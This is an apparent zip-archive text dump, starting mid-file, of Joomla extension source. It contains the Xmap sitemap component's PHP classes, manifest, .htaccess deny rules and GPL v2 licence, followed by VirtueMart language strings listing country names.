$date->toSql(); } return parent::store($updateNulls); } /** * Method to set the publishing state for a row or list of rows in the database * table. * * @param mixed An optional array of primary key values to update. If not * set the instance property value is used. * @param integer The publishing state. eg. [0 = unpublished, 1 = published] * @param integer The user id of the user performing the operation. * @return boolean True on success. * @since 2.0 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialize variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('No_Rows_Selected')); return false; } } // Build the WHERE clause for the primary keys. $where = $k . '=' . implode(' OR ' . $k . '=', $pks); // Update the publishing state for rows with the given primary keys. $query = $this->_db->getQuery(true) ->update($this->_db->quoteName('#__xmap_sitemap')) ->set($this->_db->quoteName('state').' = '. (int) $state) ->where($where); $this->_db->setQuery($query); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } } PK@y>\)$components/com_xmap/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6p components/com_xmap/manifest.xmlnuW+A com_xmap 2011-04-10 Guillermo Vargas This component is released under the GNU/GPL License guille@vargas.co.cr http://joomla.vargas.co.cr 2.3.3 GNU/GPL Xmap - Sitemap Generator for Joomla! install/install.utf8.sql install/install.postgresql.sql install/uninstall.utf8.sql install/uninstall.postgresql.sql controller.php displayer.php index.html metadata.xml router.php xmap.php assets controllers helpers models views en-GB.com_xmap.ini es-ES.com_xmap.ini fa-IR.com_xmap.ini cs-CZ.com_xmap.ini nl-NL.com_xmap.ini ru-RU.com_xmap.ini images COM_XMAP_TITLE xmap.php controller.php index.html LICENSE.txt css elements images install helpers controllers tables views models en-GB/en-GB.com_xmap.ini en-GB/en-GB.com_xmap.sys.ini es-ES/es-ES.com_xmap.ini es-ES/es-ES.com_xmap.sys.ini fa-IR/fa-IR.com_xmap.ini fa-IR/fa-IR.com_xmap.sys.ini cs-CZ/cs-CZ.com_xmap.ini cs-CZ/cs-CZ.com_xmap.sys.ini nl-NL/nl-NL.com_xmap.ini nl-NL/nl-NL.com_xmap.sys.ini ru-RU/ru-RU.com_xmap.ini ru-RU/ru-RU.com_xmap.sys.ini images https://raw.github.com/guilleva/Xmap/master/xmap-update.xml PK@y>\=IM+++components/com_xmap/controllers/sitemap.phpnuW+Aauthorise('core.edit', 'com_xmap.sitemap.'.$recordId); } }PK@y>\( HH,components/com_xmap/controllers/sitemaps.phpnuW+AregisterTask('unpublish', 'publish'); $this->registerTask('trash', 'publish'); $this->registerTask('unfeatured', 'featured'); } /** * Method to toggle the default sitemap. * * @return void * @since 2.0 */ function setDefault() { // Check for request forgeries JRequest::checkToken() or die('Invalid Token'); // Get items to publish from the request. $cid = JRequest::getVar('cid', 0, '', 'array'); $id = @$cid[0]; if (!$id) { JError::raiseWarning(500, JText::_('Select an item to set as default')); } else { // Get the model. $model = $this->getModel(); // Publish the items. if (!$model->setDefault($id)) { JError::raiseWarning(500, $model->getError()); } } $this->setRedirect('index.php?option=com_xmap&view=sitemaps'); } /** * Proxy for getModel. * * @param string $name The name of the model. * @param string $prefix The prefix for the PHP class name. * * @return JModel * @since 2.0 */ public function getModel($name = 'Sitemap', $prefix = 'XmapModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } }PK@y>\))components/com_xmap/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6*components/com_xmap/controllers/index.htmlnuW+APK@y>\PEEcomponents/com_xmap/LICENSE.txtnuW+AGNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PK@y>\-/components/com_xmap/models/fields/xmapmenus.phpnuW+AgetQuery(true); //$currentMenus = array_keys(get_object_vars($this->value)); $currentMenus = array(); $query->select('menutype As value, title As text'); $query->from('#__menu_types AS a'); $query->order('a.title'); // Get the options. $db->setQuery($query); // echo $db->getQuery(); $menus = $db->loadObjectList('value'); $options = array(); // Add the current sitemap menus in the defined order to the list foreach ($currentMenus as $menutype) { if (!empty($menus[$menutype])) { $options[] = $menus[$menutype]; } } // Add the rest of the menus to the list (if any) foreach ($menus as $menutype => $menu) { if (!in_array($menutype, $currentMenus)) { $options[] = $menu; } } // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } $options = array_merge( parent::getOptions(), $options ); return $options; } /** * Method to get the field input. * * @return string The field input. */ protected function getInput() { $disabled = $this->element['disabled'] == 'true' ? true : false; $readonly = $this->element['readonly'] == 'true' ? true : false; $attributes = ' '; $type = 'radio'; if ($v = $this->element['size']) { $attributes .= 'size="' . $v . '" '; } if ($v = $this->element['class']) { $attributes .= 'class="' . $v . '" '; } else { $attributes .= 'class="inputbox" '; } if ($m = $this->element['multiple']) { $type = 'checkbox'; } $value = $this->value; if (!is_array($value)) { // Convert the selections field to an array. $registry = new JRegistry; $registry->loadString($value); $value = $registry->toArray(); } $doc = JFactory::getDocument(); $doc->addScriptDeclaration(" window.addEvent('domready',function(){ \$\$('div.xmap-menu-options select').addEvent('mouseover',function(event){xmapMenusSortable.detach();}) \$\$('div.xmap-menu-options select').addEvent('mouseout',function(event){xmapMenusSortable.attach();}) var xmapMenusSortable = new Sortables(\$('ul_" . $this->inputId . "'),{ clone:true, revert: true, preventDefault: true, onStart: function(el) { el.setStyle('background','#bbb'); }, onComplete: function(el) { el.setStyle('background','#eee'); } }); });"); if ($disabled || $readonly) { $attributes .= 'disabled="disabled"'; } $options = (array) $this->_getOptions(); $return = '
        '; // Create a regular list. $i = 0; //Lets show the enabled menus first $this->currentItems = array_keys($value); // Sort the menu options uasort($options, array($this, 'myCompare')); foreach ($options as $option) { $prioritiesName = preg_replace('/(jform\[[^\]]+)(\].*)/', '$1_priority$2', $this->name); $changefreqName = preg_replace('/(jform\[[^\]]+)(\].*)/', '$1_changefreq$2', $this->name); $selected = (isset($value[$option->value]) ? ' checked="checked"' : ''); $i++; $return .= ''; } $return .= "
      "; return $return; } public function myCompare($a, $b) { $indexA = array_search($a->value, $this->currentItems); $indexB = array_search($b->value, $this->currentItems); if ($indexA === $indexB && $indexA !== false) { return 0; } if ($indexA === false && $indexA === $indexB) { return ($a->value < $b->value) ? -1 : 1; } if ($indexA === false) { return 1; } if ($indexB === false) { return -1; } return ($indexA < $indexB) ? -1 : 1; } } PK@y>\6,components/com_xmap/models/fields/index.htmlnuW+APK@y>\)+components/com_xmap/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\62components/com_xmap/models/fields/modal/index.htmlnuW+APK@y>\SB B 4components/com_xmap/models/fields/modal/sitemaps.phpnuW+Avalue) { $db->setQuery( 'SELECT title' . ' FROM #__xmap_sitemap' . ' WHERE id = ' . (int) $this->value ); $title = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } } else { $title = ''; } if (empty($title)) { $title = JText::_('COM_XMAP_SELECT_AN_SITEMAP'); } $doc->addScriptDeclaration( "function jSelectSitemap_" . $this->id . "(id, title, object) { $('" . $this->id . "_id').value = id; $('" . $this->id . "_name').value = title; SqueezeBox.close(); }" ); $link = 'index.php?option=com_xmap&view=sitemaps&layout=modal&tmpl=component&function=jSelectSitemap_' . $this->id; JHTML::_('behavior.modal', 'a.modal'); $html = ''; $html .= "\n" . ''; if(version_compare(JVERSION,'3.0.0','ge')) $html .= ' ' . JText::_('COM_XMAP_CHANGE_SITEMAP_BUTTON') . '' . "\n"; else $html .= '' . "\n"; $html .= ''; $html .= "\n" . ''; return $html; } }PK@y>\)1components/com_xmap/models/fields/modal/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ ^xx'components/com_xmap/models/sitemaps.phpnuW+Acontext .= '.'.$layout; } $access = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', 0, 'int'); $this->setState('filter.access', $access); $published = $this->getUserStateFromRequest($this->context.'.filter.published', 'filter_published', ''); $this->setState('filter.published', $published); $search = $this->getUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); // List state information. parent::populateState('a.title', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.published'); return parent::getStoreId($id); } /** * @param boolean True to join selected foreign information * * @return string */ protected function getListQuery($resolveFKs = true) { $db = $this->getDbo(); // Create a new query object. $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.*') ); $query->from('#__xmap_sitemap AS a'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = ' . (int) $access); } // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.state = ' . (int) $published); } else if ($published === '') { $query->where('(a.state = 0 OR a.state = 1)'); } // Filter by search in title. $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.title LIKE '.$search.' OR a.alias LIKE '.$search.')'); } } // Add the list ordering clause. $query->order($db->escape($this->state->get('list.ordering', 'a.title')) . ' ' . $db->escape($this->state->get('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } public function getExtensionsMessage() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('e.*'); $query->from($db->quoteName('#__extensions'). 'AS e'); $query->join('INNER', '#__extensions AS p ON e.element=p.element and p.enabled=0 and p.type=\'plugin\' and p.folder=\'xmap\''); $query->where('e.type=\'component\' and e.enabled=1'); $db->setQuery($query); $extensions = $db->loadObjectList(); if ( count($extensions) ) { $sep = $extensionsNameList = ''; foreach ($extensions as $extension) { $extensionsNameList .= "$sep$extension->element"; $sep = ', '; } return JText::sprintf('XMAP_MESSAGE_EXTENSIONS_DISABLED',$extensionsNameList); } else { return ""; } } } PK@y>\Wzz&components/com_xmap/models/sitemap.phpnuW+A_item = 'sitemap'; $this->_option = 'com_xmap'; } /** * Method to auto-populate the model state. */ protected function _populateState() { $app = JFactory::getApplication('administrator'); // Load the User state. if (!($pk = (int) $app->getUserState('com_xmap.edit.sitemap.id'))) { $pk = (int) JRequest::getInt('id'); } $this->setState('sitemap.id', $pk); // Load the parameters. $params = JComponentHelper::getParams('com_xmap'); $this->setState('params', $params); } /** * Returns a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return XmapTableSitemap A database object */ public function getTable($type = 'Sitemap', $prefix = 'XmapTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get a single record. * * @param integer The id of the primary key. * * @return mixed Object on success, false on failure. */ public function getItem($pk = null) { // Initialise variables. $pk = (!empty($pk)) ? $pk : (int)$this->getState('sitemap.id'); $false = false; // Get a row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($pk); // Check for a table object error. if ($return === false && $table->getError()) { $this->setError($table->getError()); return $false; } // Prime required properties. if (empty($table->id)) { // Prepare data for a new record. } // Convert to the JObject before adding other data. $value = $table->getProperties(1); $value = JArrayHelper::toObject($value, 'JObject'); // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($table->attribs); $value->attribs = $registry->toArray(); return $value; } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return mixed A JForm object on success, false on failure * @since 2.0 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_xmap.sitemap', 'sitemap', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_xmap.edit.sitemap.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to save the form data. * * @param array The form data. * @return boolean True on success. * @since 1.6 */ public function save($data) { // Initialise variables; $dispatcher = JDispatcher::getInstance(); $table = $this->getTable(); $pk = (!empty($data['id'])) ? $data['id'] : (int)$this->getState('sitemap.id'); $isNew = true; // Load the row if saving an existing record. if ($pk > 0) { $table->load($pk); $isNew = false; } // Bind the data. if (!$table->bind($data)) { $this->setError(JText::sprintf('JERROR_TABLE_BIND_FAILED', $table->getError())); return false; } // Prepare the row for saving $this->_prepareTable($table); // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } if (!$table->is_default) { // Check if there is no default sitemap. Then, set it as default if not $result = $this->getDefaultSitemapId(); if (!$result) { $table->is_default=1; } } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } if ($table->is_default) { $query = $this->_db->getQuery(true) ->update($this->_db->quoteName('#__xmap_sitemap')) ->set($this->_db->quoteName('is_default').' = 0') ->where($this->_db->quoteName('id').' <> '.$table->id); $this->_db->setQuery($query); if (!$this->_db->query()) { $this->setError($table->_db->getErrorMsg()); return false; } } // Clean the cache. $cache = JFactory::getCache('com_xmap'); $cache->clean(); $this->setState('sitemap.id', $table->id); return true; } /** * Prepare and sanitise the table prior to saving. */ protected function _prepareTable(&$table) { // TODO. } function _orderConditions($table = null) { $condition = array(); return $condition; } function setDefault($id) { $table = $this->getTable(); if ($table->load($id)) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->update($db->quoteName('#__xmap_sitemap')) ->set($db->quoteName('is_default').' = 0') ->where($db->quoteName('id').' <> '.$table->id); $this->_db->setQuery($query); if (!$this->_db->query()) { $this->setError($table->_db->getErrorMsg()); return false; } $table->is_default = 1; $table->store(); // Clean the cache. $cache = JFactory::getCache('com_xmap'); $cache->clean(); return true; } } /** * Override to avoid warnings * */ public function checkout($pk = null) { return true; } private function getDefaultSitemapId() { $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('id'); $query->from($db->quoteName('#__xmap_sitemap')); $query->where('is_default=1'); $db->setQuery($query); return $db->loadResult(); } }PK@y>\)$components/com_xmap/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\9c.components/com_xmap/models/forms/extension.xmlnuW+A
      PK@y>\)*components/com_xmap/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6+components/com_xmap/models/forms/index.htmlnuW+APK@y>\$y$$,components/com_xmap/models/forms/sitemap.xmlnuW+A
      PK@y>\6%components/com_xmap/models/index.htmlnuW+APK@y>\#o,,$components/com_virtuemart/index.htmlnuW+APK@y>\)4components/com_virtuemart/vmfiles/invoices/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)+components/com_virtuemart/vmfiles/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)2components/com_virtuemart/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK@y>\T3jjEcomponents/com_virtuemart/language/en-GB/en-GB.com_virtuemart_log.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_LOG_FILENAME="File Name" COM_VIRTUEMART_LOG_FILESIZE="File Size" COM_VIRTUEMART_LOG_KB="Kb" COM_VIRTUEMART_LOG_FILEINFO="File Info"PK@y>\RXDb)b)Kcomponents/com_virtuemart/language/en-GB/en-GB.com_virtuemart_countries.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_VIRTUEMART_COUNTRY_ID="Id" COM_VIRTUEMART_COUNTRY_ALA="Åland Islands" COM_VIRTUEMART_COUNTRY_AFG="Afghanistan" COM_VIRTUEMART_COUNTRY_ALB="Albania" COM_VIRTUEMART_COUNTRY_DZA="Algeria" COM_VIRTUEMART_COUNTRY_ASM="American Samoa" COM_VIRTUEMART_COUNTRY_AND="Andorra" COM_VIRTUEMART_COUNTRY_AGO="Angola" COM_VIRTUEMART_COUNTRY_AIA="Anguilla" COM_VIRTUEMART_COUNTRY_ATA="Antarctica" COM_VIRTUEMART_COUNTRY_ATG="Antigua and Barbuda" COM_VIRTUEMART_COUNTRY_ARG="Argentina" COM_VIRTUEMART_COUNTRY_ARM="Armenia" COM_VIRTUEMART_COUNTRY_ABW="Aruba" COM_VIRTUEMART_COUNTRY_ASC="Ascension" COM_VIRTUEMART_COUNTRY_AUS="Australia" COM_VIRTUEMART_COUNTRY_AUT="Austria" COM_VIRTUEMART_COUNTRY_AZE="Azerbaijan" COM_VIRTUEMART_COUNTRY_BHS="Bahamas" COM_VIRTUEMART_COUNTRY_BHR="Bahrain" COM_VIRTUEMART_COUNTRY_BGD="Bangladesh" COM_VIRTUEMART_COUNTRY_BRB="Barbados" COM_VIRTUEMART_COUNTRY_BLR="Belarus" COM_VIRTUEMART_COUNTRY_BEL="Belgium" COM_VIRTUEMART_COUNTRY_BLZ="Belize" COM_VIRTUEMART_COUNTRY_BEN="Benin" COM_VIRTUEMART_COUNTRY_BMU="Bermuda" COM_VIRTUEMART_COUNTRY_BTN="Bhutan" COM_VIRTUEMART_COUNTRY_BOL="Bolivia" COM_VIRTUEMART_COUNTRY_BES="Bonaire, Sint Eustatius and Saba" COM_VIRTUEMART_COUNTRY_BIH="Bosnia and Herzegovina" COM_VIRTUEMART_COUNTRY_BWA="Botswana" COM_VIRTUEMART_COUNTRY_BVT="Bouvet Island" COM_VIRTUEMART_COUNTRY_BRA="Brazil" COM_VIRTUEMART_COUNTRY_IOT="British Indian Ocean Territory" COM_VIRTUEMART_COUNTRY_BRN="Brunei Darussalam" COM_VIRTUEMART_COUNTRY_BGR="Bulgaria" COM_VIRTUEMART_COUNTRY_BFA="Burkina Faso" COM_VIRTUEMART_COUNTRY_BDI="Burundi" COM_VIRTUEMART_COUNTRY_KHM="Cambodia" COM_VIRTUEMART_COUNTRY_CMR="Cameroon" COM_VIRTUEMART_COUNTRY_CAN="Canada" COM_VIRTUEMART_COUNTRY_CPV="Cape Verde" COM_VIRTUEMART_COUNTRY_CYM="Cayman Islands" COM_VIRTUEMART_COUNTRY_CAF="Central African Republic" COM_VIRTUEMART_COUNTRY_TCD="Chad" COM_VIRTUEMART_COUNTRY_CHL="Chile" COM_VIRTUEMART_COUNTRY_CHN="China" COM_VIRTUEMART_COUNTRY_CXR="Christmas Island" COM_VIRTUEMART_COUNTRY_CCK="Cocos (Keeling) Islands" COM_VIRTUEMART_COUNTRY_COL="Colombia" COM_VIRTUEMART_COUNTRY_COM="Comoros" 